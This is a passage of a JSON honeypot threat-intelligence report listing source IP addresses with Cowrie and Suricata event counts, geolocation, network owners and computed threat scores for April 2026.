        "Redishoneypot": 2,
        "Sentrypeer": 2,
        "Tanner": 1
      }
    },
    "20.118.209.32": {
      "attack_count": 4,
      "first_seen": "2026-04-11T16:18:13.175Z",
      "last_seen": "2026-04-11T16:18:23.709Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 15.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 18,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-11T16:18:13.175000+00:00",
        "last_seen_30d": "2026-04-28T11:27:58.967000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "205.210.31.156": {
      "attack_count": 4,
      "first_seen": "2026-04-01T17:05:13.719Z",
      "last_seen": "2026-04-01T17:05:16.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T17:02:06.931000+00:00",
        "last_seen_30d": "2026-04-29T17:06:27.397000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 5,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "207.244.238.142": {
      "attack_count": 4,
      "first_seen": "2026-04-29T13:04:30.593Z",
      "last_seen": "2026-04-29T20:38:49.093Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T13:04:30.593000+00:00",
        "last_seen_30d": "2026-04-29T20:39:56.712000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "31.193.93.194": {
      "attack_count": 4,
      "first_seen": "2026-04-28T05:14:14.032Z",
      "last_seen": "2026-04-28T05:16:19.077Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 47359,
      "as_org": "Tvoi Net Ltd.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T05:14:14.032000+00:00",
        "last_seen_30d": "2026-04-28T05:17:21.484000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.156.162": {
      "attack_count": 4,
      "first_seen": "2026-04-02T14:19:05.424Z",
      "last_seen": "2026-04-19T13:56:56.225Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 30,
        "ports_targeted_30d": 80,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T06:32:59+00:00",
        "last_seen_30d": "2026-04-30T13:21:42.377000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 147,
        "Honeytrap": 77,
        "Miniprint": 17,
        "Cowrie": 4,
        "Adbhoney": 2,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "66.132.186.182": {
      "attack_count": 4,
      "first_seen": "2026-04-02T15:42:40.368Z",
      "last_seen": "2026-04-02T15:42:55.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T05:01:54+00:00",
        "last_seen_30d": "2026-04-30T15:08:28.556000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 54,
        "ElasticPot": 25,
        "Miniprint": 6,
        "Cowrie": 4,
        "Dionaea": 4,
        "Sentrypeer": 1
      }
    },
    "165.22.54.16": {
      "attack_count": 3,
      "first_seen": "2026-04-05T10:17:58.138Z",
      "last_seen": "2026-04-05T10:19:01.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "user"
      ],
      "passwords_attempted": [
        "user1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 5.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 7,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T10:17:58.138000+00:00",
        "last_seen_30d": "2026-04-11T21:41:03.889000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 3,
        "Honeytrap": 3
      }
    },
    "216.218.206.69": {
      "attack_count": 3,
      "first_seen": "2026-04-16T09:00:20.186Z",
      "last_seen": "2026-04-16T09:00:20.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T06:48:59+00:00",
        "last_seen_30d": "2026-04-30T15:38:00.244000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 244,
        "Honeytrap": 91,
        "H0neytr4p": 18,
        "Dionaea": 5,
        "CitrixHoneypot": 3,
        "Cowrie": 3,
        "Adbhoney": 2
      }
    },
    "43.128.81.242": {
      "attack_count": 3,
      "first_seen": "2026-04-06T02:39:39.029Z",
      "last_seen": "2026-04-06T02:41:39.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T02:39:39.029000+00:00",
        "last_seen_30d": "2026-04-21T03:04:05.345000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "47.82.74.120": {
      "attack_count": 3,
      "first_seen": "2026-04-20T06:38:51.629Z",
      "last_seen": "2026-04-20T06:39:52.099Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T06:38:51.629000+00:00",
        "last_seen_30d": "2026-04-20T06:40:58.284000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "125.113.36.43": {
      "attack_count": 2,
      "first_seen": "2026-04-10T17:28:40.295Z",
      "last_seen": "2026-04-10T17:28:52.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:28:40.295000+00:00",
        "last_seen_30d": "2026-04-10T17:30:02.296000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.135.43.82": {
      "attack_count": 2,
      "first_seen": "2026-04-16T17:21:54.742Z",
      "last_seen": "2026-04-16T17:22:07.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T17:21:54.742000+00:00",
        "last_seen_30d": "2026-04-16T17:23:16.712000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "144.91.107.104": {
      "attack_count": 2,
      "first_seen": "2026-04-25T01:55:42.436Z",
      "last_seen": "2026-04-25T01:56:14.137Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T01:55:42.436000+00:00",
        "last_seen_30d": "2026-04-25T01:57:15.527000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.180": {
      "attack_count": 2,
      "first_seen": "2026-04-30T02:42:54.958Z",
      "last_seen": "2026-04-30T02:43:04.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T22:37:33+00:00",
        "last_seen_30d": "2026-04-30T19:38:50.856000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 19,
        "Cowrie": 2,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "147.185.132.66": {
      "attack_count": 2,
      "first_seen": "2026-04-20T16:04:58.238Z",
      "last_seen": "2026-04-20T16:05:30.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T03:51:38+00:00",
        "last_seen_30d": "2026-04-29T22:15:58.520000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 31,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "165.154.227.214": {
      "attack_count": 2,
      "first_seen": "2026-04-01T11:32:57.491Z",
      "last_seen": "2026-04-01T11:32:57.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:32:57.491000+00:00",
        "last_seen_30d": "2026-04-01T11:34:06.103000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "165.51.29.66": {
      "attack_count": 2,
      "first_seen": "2026-04-26T17:58:04.455Z",
      "last_seen": "2026-04-26T18:00:04.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Sahline",
      "asn": 37492,
      "as_org": "ORANGE",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:58:04.455000+00:00",
        "last_seen_30d": "2026-04-26T18:01:15.963000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "171.97.80.5": {
      "attack_count": 2,
      "first_seen": "2026-04-29T08:07:26.530Z",
      "last_seen": "2026-04-29T08:07:40.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattaya",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T08:07:26.530000+00:00",
        "last_seen_30d": "2026-04-29T08:08:42.212000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.158.183.231": {
      "attack_count": 2,
      "first_seen": "2026-04-27T13:07:16.106Z",
      "last_seen": "2026-04-27T13:07:29.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Caledonia",
      "country_code": "NC",
      "city": "Noumea",
      "asn": 56089,
      "as_org": "OFFRATEL",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T13:07:16.106000+00:00",
        "last_seen_30d": "2026-04-27T13:08:35.451000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.105.200.186": {
      "attack_count": 2,
      "first_seen": "2026-04-30T15:28:49.308Z",
      "last_seen": "2026-04-30T15:29:01.812Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Vinnytsia",
      "asn": 24812,
      "as_org": "RPC HomeNet Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:28:49.308000+00:00",
        "last_seen_30d": "2026-04-30T15:30:07.487000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.244.253.119": {
      "attack_count": 2,
      "first_seen": "2026-04-10T12:33:32.212Z",
      "last_seen": "2026-04-10T12:33:45.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 16135,
      "as_org": "Turkcell Iletisim Hizmetleri A.s.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:33:32.212000+00:00",
        "last_seen_30d": "2026-04-10T12:34:55.969000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.210.129.234": {
      "attack_count": 2,
      "first_seen": "2026-04-23T17:24:46.986Z",
      "last_seen": "2026-04-23T17:24:59.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 7727,
      "as_org": "Hondutel",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T17:24:46.986000+00:00",
        "last_seen_30d": "2026-04-23T17:26:02.923000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.109.190.155": {
      "attack_count": 2,
      "first_seen": "2026-04-30T03:46:24.902Z",
      "last_seen": "2026-04-30T03:46:38.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:46:24.902000+00:00",
        "last_seen_30d": "2026-04-30T03:47:40.311000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.87.33.35": {
      "attack_count": 2,
      "first_seen": "2026-04-28T08:18:51.729Z",
      "last_seen": "2026-04-28T08:19:09.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Soacha",
      "asn": 10620,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:18:51.729000+00:00",
        "last_seen_30d": "2026-04-28T08:20:19.224000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "200.46.216.165": {
      "attack_count": 2,
      "first_seen": "2026-04-12T11:18:52.944Z",
      "last_seen": "2026-04-12T11:19:05.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T11:18:52.944000+00:00",
        "last_seen_30d": "2026-04-12T11:20:10.893000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.131.163.250": {
      "attack_count": 2,
      "first_seen": "2026-04-02T03:28:44.403Z",
      "last_seen": "2026-04-02T03:29:15.696Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Figueir\u00f3polis",
      "asn": 61824,
      "as_org": "Top Servicos de Telecomunicacoes Ltda",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T03:28:44.403000+00:00",
        "last_seen_30d": "2026-04-02T03:30:18.110000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "220.213.10.60": {
      "attack_count": 2,
      "first_seen": "2026-04-02T02:35:43.353Z",
      "last_seen": "2026-04-02T02:35:55.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Yokohama",
      "asn": 9595,
      "as_org": "NTT-ME Corporation",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:35:43.353000+00:00",
        "last_seen_30d": "2026-04-02T02:37:01.082000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.82.0.242": {
      "attack_count": 2,
      "first_seen": "2026-04-19T08:29:55.391Z",
      "last_seen": "2026-04-19T08:30:09.232Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T08:29:55.391000+00:00",
